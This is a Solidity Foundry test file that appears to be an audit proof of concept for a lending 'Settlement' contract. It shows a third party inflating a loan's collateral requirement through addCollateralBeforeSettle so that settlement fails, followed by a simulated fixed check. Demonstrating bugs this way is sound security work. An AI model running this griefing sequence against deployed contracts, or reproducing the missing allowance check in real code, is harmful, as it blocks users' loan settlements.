Copy // SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
import "forge-std/Test.sol";
import "../src/Settlement.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_mint(msg.sender, 1000000 * 10**18);
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract MockOracle is IOracle {
function getPrice(address token) external pure override returns (PriceInfo memory) {
return PriceInfo({
price: 1e18, // 1:1 price ratio for simplicity
timestamp: block.timestamp,
source: "MOCK"
});
}
}
contract AllowanceValidationPOC is Test {
Settlement settlement;
MockERC20 collateralToken;
MockERC20 debtToken;
MockOracle oracle;
address admin = address(1);
address feeCollector = address(2);
address operator = address(3);
address lender = address(4);
address borrower = address(5);
address thirdParty = address(6); // Will call addCollateralBeforeSettle
uint256 initialCollateral = 100 * 10**18; // 100 tokens
uint256 additionalCollateral = 50 * 10**18; // 50 tokens
uint256 borrowAmount = 80 * 10**18; // 80 tokens
string loanIdStr = "test-loan";
bytes32 loanId;
function setUp() public {
// Deploy tokens and contract
collateralToken = new MockERC20("Collateral Token", "CTKN");
debtToken = new MockERC20("Debt Token", "DTKN");
oracle = new MockOracle();
// Deploy settlement contract
settlement = new Settlement(admin, feeCollector, operator, address(oracle));
// Distribute tokens
collateralToken.transfer(borrower, 500 * 10**18);
collateralToken.transfer(thirdParty, 500 * 10**18);
debtToken.transfer(lender, 500 * 10**18);
// Set up approvals
vm.startPrank(borrower);
collateralToken.approve(address(settlement), initialCollateral); // Limited approval for demo
vm.stopPrank();
vm.startPrank(thirdParty);
collateralToken.approve(address(settlement), type(uint256).max); // Third party gives high approval
vm.stopPrank();
vm.startPrank(lender);
debtToken.approve(address(settlement), type(uint256).max);
collateralToken.approve(address(settlement), type(uint256).max);
vm.stopPrank();
// Create settlement with a loan
createSettlement();
}
function createSettlement() internal {
// Create settlement with initial loan
string memory settlementIdStr = "test-settlement";
bytes32 settlementId = bytes32(bytes(settlementIdStr));
string[] memory loanIds = new string[](1);
loanIds[0] = loanIdStr;
loanId = bytes32(bytes(loanIdStr));
LoanInfo[] memory loanInfos = new LoanInfo[](1);
DebtData memory debtData = DebtData({
borrowedAmt: borrowAmount,
debtAmt: borrowAmount,
feeAmt: 0,
collateralAmt: initialCollateral
});
loanInfos[0] = LoanInfo({
maker: lender,
borrower: borrower,
lender: lender,
debtTokenAddr: address(debtToken),
collateralTokenAddr: address(collateralToken),
settlementId: bytes32(0),
debtData: debtData,
settled: false
});
SettleInfo memory settleInfo = SettleInfo({
taker: borrower,
takerType: TakerType.BORROW,
expiryTime: block.timestamp + 1 days
});
// Mock signature for simplicity
bytes memory signature = abi.encodePacked(bytes32(0), bytes32(0), uint8(0));
vm.mockCall(
address(operator),
abi.encodeWithSelector(SignatureChecker.isValidSignatureNow.selector),
abi.encode(true)
);
// Create settlement as borrower
vm.startPrank(borrower);
settlement.createSettlement(settlementIdStr, settleInfo, loanIds, loanInfos, signature);
vm.stopPrank();
}
function testIncorrectAllowanceValidation() public {
// Display initial state
console.log("===== Initial State =====");
console.log("Borrower approval for contract:", collateralToken.allowance(borrower, address(settlement)) / 1e18);
console.log("ThirdParty approval for contract:", collateralToken.allowance(thirdParty, address(settlement)) / 1e18);
console.log("Initial collateral requirement:", initialCollateral / 1e18);
// Step 1: Third party calls addCollateralBeforeSettle
// This should work even though borrower (the actual taker) has insufficient allowance for the new amount
vm.startPrank(thirdParty);
settlement.addCollateralBeforeSettle(loanIdStr, additionalCollateral);
vm.stopPrank();
// Step 2: Verify that collateral amount was increased
LoanInfo memory loanInfo = settlement.getLoan(loanIdStr);
uint256 newCollateralAmt = loanInfo.debtData.collateralAmt;
console.log("\n===== After addCollateralBeforeSettle =====");
console.log("New collateral requirement:", newCollateralAmt / 1e18);
console.log("Borrower approval for contract:", collateralToken.allowance(borrower, address(settlement)) / 1e18);
// Step 3: Attempt to settle the loan (should fail due to borrower's insufficient allowance)
vm.startPrank(lender);
vm.expectRevert(); // This should fail because borrower doesn't have enough allowance
settlement.settle(loanIdStr);
vm.stopPrank();
console.log("\n===== Settlement Attempt =====");
console.log("Settlement failed as expected due to borrower's insufficient allowance");
// Step 4: Demonstrate the correct behavior by increasing borrower's allowance and settling
vm.startPrank(borrower);
collateralToken.approve(address(settlement), newCollateralAmt * 2); // Approve enough for settlement
vm.stopPrank();
console.log("\n===== After Increasing Borrower's Allowance =====");
console.log("Borrower approval for contract:", collateralToken.allowance(borrower, address(settlement)) / 1e18);
// Now settlement should succeed
vm.startPrank(lender);
settlement.settle(loanIdStr);
vm.stopPrank();
// Verify settlement completed
loanInfo = settlement.getLoan(loanIdStr);
console.log("\n===== After Successful Settlement =====");
console.log("Loan settled:", loanInfo.settled ? "Yes" : "No");
// Step 5: Demonstrate what happens if we fix the vulnerability
console.log("\n===== Demonstrating Fixed Behavior =====");
console.log("With correct validation, addCollateralBeforeSettle would check borrower's allowance");
console.log("This would prevent inflation of collateral requirements without proper backing");
}
function testProperValidationBehavior() public {
// This demonstrates how the function should work if properly implemented
console.log("===== Proper Validation Behavior (Simulated) =====");
// Create a new loan for demonstration
string memory newLoanId = "another-loan";
createAnotherLoan(newLoanId);
// Show initial borrower allowance
console.log("Initial borrower allowance:", collateralToken.allowance(borrower, address(settlement)) / 1e18);
// Simulate proper checking (as if code was fixed)
uint256 borrowerAllowance = collateralToken.allowance(borrower, address(settlement));
uint256 newCollateralAmt = initialCollateral + additionalCollateral;
bool wouldSucceed = borrowerAllowance >= newCollateralAmt;
console.log("Attempting to add collateral of:", additionalCollateral / 1e18);
console.log("New total collateral would be:", newCollateralAmt / 1e18);
console.log("With proper validation, operation would succeed:", wouldSucceed ? "Yes" : "No");
if (!wouldSucceed) {
console.log("This prevents phantom collateral that cannot be honored during settlement");
}
}
function createAnotherLoan(string memory _loanId) internal {
// Helper function to create another loan for demonstration
// Similar to createSettlement but with a different loan ID
string memory settlementIdStr = "test-settlement-2";
string[] memory loanIds = new string[](1);
loanIds[0] = _loanId;
LoanInfo[] memory loanInfos = new LoanInfo[](1);
DebtData memory debtData = DebtData({
borrowedAmt: borrowAmount,
debtAmt: borrowAmount,
feeAmt: 0,
collateralAmt: initialCollateral
});
loanInfos[0] = LoanInfo({
maker: lender,
borrower: borrower,
lender: lender,
debtTokenAddr: address(debtToken),
collateralTokenAddr: address(collateralToken),
settlementId: bytes32(0),
debtData: debtData,
settled: false
});
SettleInfo memory settleInfo = SettleInfo({
taker: borrower,
takerType: TakerType.BORROW,
expiryTime: block.timestamp + 1 days
});
bytes memory signature = abi.encodePacked(bytes32(0), bytes32(0), uint8(0));
vm.mockCall(
address(operator),
abi.encodeWithSelector(SignatureChecker.isValidSignatureNow.selector),
abi.encode(true)
);
vm.startPrank(borrower);
settlement.createSettlement(settlementIdStr, settleInfo, loanIds, loanInfos, signature);
vm.stopPrank();
}
}